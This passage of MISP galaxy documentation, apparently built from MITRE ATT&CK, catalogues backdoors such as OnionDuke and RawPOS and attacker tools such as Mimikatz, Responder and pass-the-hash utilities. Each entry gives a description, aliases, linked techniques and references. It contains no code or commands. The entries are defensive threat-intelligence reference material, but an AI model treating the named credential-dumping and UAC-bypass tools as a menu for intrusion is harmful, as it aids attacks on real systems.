SslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)

Aliases: SslMM

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SslMM - S0058"*

SslMM - S0058 is also known as:

- SslMM

SslMM - S0058 has relationships with:

- similar: misp-galaxy:malpedia="SslMM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 2313. Table References

Links
https://attack.mitre.org/wiki/Software/S0058
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Nidiran - S0118

Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)

Aliases: Nidiran, Backdoor.Nidiran

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Nidiran - S0118"*

Nidiran - S0118 is also known as:

- Nidiran
- Backdoor.Nidiran

Nidiran - S0118 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2314. Table References

Links
https://attack.mitre.org/wiki/Software/S0118
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

Trojan.Mebromi - S0001

Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)

Aliases: Trojan.Mebromi

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Trojan.Mebromi - S0001"*

Trojan.Mebromi - S0001 is also known as:

- Trojan.Mebromi

Trojan.Mebromi - S0001 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Table 2315. Table References

Links
https://attack.mitre.org/wiki/Software/S0001
http://www.symantec.com/connect/blogs/bios-threat-showing-again

KARAE - S0215

is a backdoor typically used by APT37 as first-stage malware. (Citation: FireEye APT37 Feb 2018)

Aliases: KARAE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="KARAE - S0215"*

KARAE - S0215 is also known as:

- KARAE

KARAE - S0215 has relationships with:

- similar: misp-galaxy:tool="KARAE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2316. Table References

Links
https://attack.mitre.org/wiki/Software/S0215
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

OwaAuth - S0072

OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)

Aliases: OwaAuth

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="OwaAuth - S0072"*

OwaAuth - S0072 is also known as:

- OwaAuth

OwaAuth - S0072 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2317. Table References

Links
https://attack.mitre.org/wiki/Software/S0072
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/

ROCKBOOT - S0112

ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)

Aliases: ROCKBOOT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ROCKBOOT - S0112"*

ROCKBOOT - S0112 is also known as:

- ROCKBOOT

ROCKBOOT - S0112 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"

Table 2318. Table References

Links
https://attack.mitre.org/wiki/Software/S0112
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

MURKYTOP - S0233

MURKYTOP is a reconnaissance tool used by Leviathan. (Citation: FireEye Periscope March 2018)

Aliases: MURKYTOP

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="MURKYTOP - S0233"*

MURKYTOP - S0233 is also known as:

- MURKYTOP

MURKYTOP - S0233 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 2319. Table References

Links
https://attack.mitre.org/wiki/Software/S0233
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

OnionDuke - S0052

OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)

Aliases: OnionDuke

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="OnionDuke - S0052"*

OnionDuke - S0052 is also known as:

- OnionDuke

OnionDuke - S0052 has relationships with:

- similar: misp-galaxy:malpedia="OnionDuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2320. Table References

Links
https://attack.mitre.org/wiki/Software/S0052
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

JPIN - S0201

JPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)

Aliases: JPIN

Contributors: Ryan Becwar

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="JPIN - S0201"*

JPIN - S0201 is also known as:

- JPIN

JPIN - S0201 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 2321. Table References

Links
https://attack.mitre.org/wiki/Software/S0201

LOWBALL - S0042

LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)

Aliases: LOWBALL

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="LOWBALL - S0042"*

LOWBALL - S0042 is also known as:

- LOWBALL

LOWBALL - S0042 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2322. Table References

Links
https://attack.mitre.org/wiki/Software/S0042
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

Wiarp - S0206

is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)

Aliases: Wiarp

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Wiarp - S0206"*

Wiarp - S0206 is also known as:

- Wiarp

Wiarp - S0206 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2323. Table References

Links
https://attack.mitre.org/wiki/Software/S0206
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-1005-99

BLACKCOFFEE - S0069

BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)

Aliases: BLACKCOFFEE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BLACKCOFFEE - S0069"*

BLACKCOFFEE - S0069 is also known as:

- BLACKCOFFEE

BLACKCOFFEE - S0069 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2324. Table References

Links
https://attack.mitre.org/wiki/Software/S0069
https://www2.fireeye.com/rs/fireeye/images/APT17%20Report.pdf

https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Derusbi - S0021

Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)

Aliases: Derusbi, PHOTO

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Derusbi - S0021"*

Derusbi - S0021 is also known as:

- Derusbi
- PHOTO

Derusbi - S0021 has relationships with:

- similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Derusbi" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2325. Table References

Links
https://attack.mitre.org/wiki/Software/S0021
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf

RawPOS - S0169

RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

Aliases: RawPOS, FIENDCRY, DUEBREW, DRIFTWOOD

Contributors: Walker Johnson

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="RawPOS - S0169"*

RawPOS - S0169 is also known as:

- RawPOS
- FIENDCRY
- DUEBREW
- DRIFTWOOD

RawPOS - S0169 has relationships with:

- similar: misp-galaxy:malpedia="RawPOS" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 2326. Table References

Links
https://attack.mitre.org/wiki/Software/S0169
https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf
https://www.youtube.com/watch?v=fevGZs0EQu8
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?

Epic - S0091

Epic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)

Aliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Epic - S0091"*

Epic - S0091 is also known as:

- Epic
- Tavdig
- Wipbot
- WorldCupSec
- TadjMakhal

Epic - S0091 has relationships with:

- similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol -

T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2327. Table References

Links
https://attack.mitre.org/wiki/Software/S0091
https://securelist.com/the-epic-turla-operation/65545/

Lurid - S0010

Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)

Aliases: Lurid, Enfal

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Lurid - S0010"*

Lurid - S0010 is also known as:

- Lurid
- Enfal

Lurid - S0010 has relationships with:

- similar: misp-galaxy:malpedia="Enfal" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 2328. Table References

Links
https://attack.mitre.org/wiki/Software/S0010
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf

3PARA RAT - S0066

3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)

Aliases: 3PARA RAT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="3PARA RAT - S0066"*

3PARA RAT - S0066 is also known as:

- 3PARA RAT

3PARA RAT - S0066 has relationships with:

- similar: misp-galaxy:rat="3PARA RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2329. Table References

Links
https://attack.mitre.org/wiki/Software/S0066
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

JHUHUGIT - S0044

JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)

Aliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH, SofacyCarberp

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="JHUHUGIT - S0044"*

JHUHUGIT - S0044 is also known as:

- JHUHUGIT
- Seduploader
- JKEYSKW
- Sednit
- GAMEFISH
- SofacyCarberp

JHUHUGIT - S0044 has relationships with:

- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 2330. Table References

Links
https://attack.mitre.org/wiki/Software/S0044
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

ELMER - S0064

ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)

Aliases: ELMER

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ELMER - S0064"*

ELMER - S0064 is also known as:

- ELMER

ELMER - S0064 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2331. Table References

Links
https://attack.mitre.org/wiki/Software/S0064
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Enterprise Attack - Tool

Name of ATT&CK software.

Enterprise Attack - Tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Winexe - S0191

is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) is unique in that it is a

GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)

Aliases: Winexe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Winexe - S0191"*

Winexe - S0191 is also known as:

- Winexe

Winexe - S0191 has relationships with:

- similar: misp-galaxy:tool="Winexe" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Table 2332. Table References

Links
https://attack.mitre.org/wiki/Software/S0191
https://github.com/skalkoto/winexe/
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/

at - S0110

at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)

Aliases: at, at.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="at - S0110"*

at - S0110 is also known as:

- at
- at.exe

at - S0110 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2333. Table References

Links
https://attack.mitre.org/wiki/Software/S0110
https://technet.microsoft.com/en-us/library/bb490866.aspx

route - S0103

route can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)

Aliases: route, route.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="route - S0103"*

route - S0103 is also known as:

- route
- route.exe

route - S0103 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2334. Table References

Links
https://attack.mitre.org/wiki/Software/S0103
https://technet.microsoft.com/en-us/library/bb490991.aspx

Tasklist - S0057

The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)

Aliases: Tasklist

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Tasklist - S0057"*

Tasklist - S0057 is also known as:

- Tasklist

Tasklist - S0057 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 2335. Table References

Links
https://attack.mitre.org/wiki/Software/S0057
https://technet.microsoft.com/en-us/library/bb491010.aspx

Windows Credential Editor - S0005

Windows Credential Editor is a password dumping tool. (Citation: Amplia WCE)

Aliases: Windows Credential Editor, WCE

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Windows Credential Editor - S0005"*

Windows Credential Editor - S0005 is also known as:

- Windows Credential Editor
- WCE

Windows Credential Editor - S0005 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2336. Table References

Links
https://attack.mitre.org/wiki/Software/S0005
http://www.ampliasecurity.com/research/wcefaq.html

Responder - S0174

Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)

Aliases: Responder

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Responder - S0174"*

Responder - S0174 is also known as:

- Responder

Responder - S0174 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 2337. Table References

Links
https://attack.mitre.org/wiki/Software/S0174
https://github.com/SpiderLabs/Responder

schtasks - S0111

schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)

Aliases: schtasks, schtasks.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="schtasks - S0111"*

schtasks - S0111 is also known as:

- schtasks
- schtasks.exe

schtasks - S0111 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2338. Table References

Links
https://attack.mitre.org/wiki/Software/S0111
https://technet.microsoft.com/en-us/library/bb490996.aspx

UACMe - S0116

UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)

Aliases: UACMe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="UACMe - S0116"*

UACMe - S0116 is also known as:

- UACMe

UACMe - S0116 has relationships with:

- similar: misp-galaxy:malpedia="UACMe" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 2339. Table References

Links
https://attack.mitre.org/wiki/Software/S0116

https://github.com/hfiref0x/UACME

ifconfig - S0101

ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)

Aliases: ifconfig

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="ifconfig - S0101"*

ifconfig - S0101 is also known as:

- ifconfig

ifconfig - S0101 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2340. Table References

Links
https://attack.mitre.org/wiki/Software/S0101
https://en.wikipedia.org/wiki/Ifconfig

BITSAdmin - S0190

is a command line tool used to create and manage BITS Jobs. (Citation: Microsoft BITSAdmin)

Aliases: BITSAdmin

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="BITSAdmin - S0190"*

BITSAdmin - S0190 is also known as:

- BITSAdmin

BITSAdmin - S0190 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2341. Table References

Links
https://attack.mitre.org/wiki/Software/S0190
https://msdn.microsoft.com/library/aa362813.aspx

Mimikatz - S0002

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)

Aliases: Mimikatz

Contributors: Vincent Le Toux

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Mimikatz - S0002"*

Mimikatz - S0002 is also known as:

- Mimikatz

Mimikatz - S0002 has relationships with:

- similar: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2342. Table References

Links
https://attack.mitre.org/wiki/Software/S0002
https://github.com/gentilkiwi/mimikatz
https://adsecurity.org/?page%20id=1821

xCmd - S0123

```
(Citation: xCmd) is an open source tool that is similar to PsExec and allows the user
to execute applications on remote systems. (Citation: xCmd)
```

Aliases: (Citation: xCmd)

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="xCmd - S0123"*

xCmd - S0123 is also known as:

- xCmd

xCmd - S0123 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Table 2343. Table References

Links
https://attack.mitre.org/wiki/Software/S0123
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/

MimiPenguin - S0179

MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)

Aliases: MimiPenguin

Contributors: Vincent Le Toux

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="MimiPenguin - S0179"*

MimiPenguin - S0179 is also known as:

- MimiPenguin

MimiPenguin - S0179 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2344. Table References

Links
https://attack.mitre.org/wiki/Software/S0179
https://github.com/huntergregal/mimipenguin

SDelete - S0195

is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)

Aliases: SDelete

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="SDelete - S0195"*

SDelete - S0195 is also known as:

- SDelete

SDelete - S0195 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"

Table 2345. Table References

Links
https://attack.mitre.org/wiki/Software/S0195
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

Systeminfo - S0096

Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)

Aliases: Systeminfo, systeminfo.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Systeminfo - S0096"*

Systeminfo - S0096 is also known as:

- Systeminfo
- systeminfo.exe

Systeminfo - S0096 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 2346. Table References

Links
https://attack.mitre.org/wiki/Software/S0096
https://technet.microsoft.com/en-us/library/bb491007.aspx

netsh - S0108

netsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)

Aliases: netsh, netsh.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="netsh - S0108"*

netsh - S0108 is also known as:

- netsh
- netsh.exe

netsh - S0108 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 2347. Table References

Links
https://attack.mitre.org/wiki/Software/S0108
https://technet.microsoft.com/library/bb490939.aspx

dsquery - S0105

dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.

Aliases: dsquery, dsquery.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="dsquery - S0105"*

dsquery - S0105 is also known as:

- dsquery
- dsquery.exe

dsquery - S0105 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

Table 2348. Table References

Links
https://attack.mitre.org/wiki/Software/S0105
https://technet.microsoft.com/en-us/library/cc732952.aspx

gsecdump - S0008

gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)

Aliases: gsecdump

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="gsecdump - S0008"*

gsecdump - S0008 is also known as:

- gsecdump

gsecdump - S0008 has relationships with:

- similar: misp-galaxy:malpedia="gsecdump" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2349. Table References

Links
https://attack.mitre.org/wiki/Software/S0008
https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5

Ping - S0097

Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)

Aliases: Ping, ping.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Ping - S0097"*

Ping - S0097 is also known as:

- Ping
- ping.exe

Ping - S0097 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 2350. Table References

Links
https://attack.mitre.org/wiki/Software/S0097
https://technet.microsoft.com/en-us/library/bb490968.aspx

Fgdump - S0120

Fgdump is a Windows password hash dumper. (Citation: Mandiant APT1)

Aliases: Fgdump

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Fgdump - S0120"*

Fgdump - S0120 is also known as:

- Fgdump

Fgdump - S0120 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2351. Table References

Links
https://attack.mitre.org/wiki/Software/S0120
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Lslsass - S0121

Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)

Aliases: Lslsass

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Lslsass - S0121"*

Lslsass - S0121 is also known as:

- Lslsass

Lslsass - S0121 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2352. Table References

Links
https://attack.mitre.org/wiki/Software/S0121
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Pass-The-Hash Toolkit - S0122

Pass-The-Hash Toolkit is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)

Aliases: Pass-The-Hash Toolkit

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Pass-The-Hash Toolkit - S0122"*

Pass-The-Hash Toolkit - S0122 is also known as:

- Pass-The-Hash Toolkit

Pass-The-Hash Toolkit - S0122 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"

Table 2353. Table References

Links

https://attack.mitre.org/wiki/Software/S0122
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

FTP - S0095

FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)

Aliases: FTP, ftp.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="FTP - S0095"*

FTP - S0095 is also known as:

- FTP
- ftp.exe

FTP - S0095 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 2354. Table References

Links
https://attack.mitre.org/wiki/Software/S0095
https://en.wikipedia.org/wiki/File%20Transfer%20Protocol

ipconfig - S0100

ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)

Aliases: ipconfig, ipconfig.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="ipconfig - S0100"*

ipconfig - S0100 is also known as:

- ipconfig
- ipconfig.exe

ipconfig - S0100 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2355. Table References

Links
https://attack.mitre.org/wiki/Software/S0100
https://technet.microsoft.com/en-us/library/bb490921.aspx

nbtstat - S0102

nbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)

Aliases: nbtstat, nbtstat.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="nbtstat - S0102"*

nbtstat - S0102 is also known as:

- nbtstat
- nbtstat.exe

nbtstat - S0102 has relationships with:

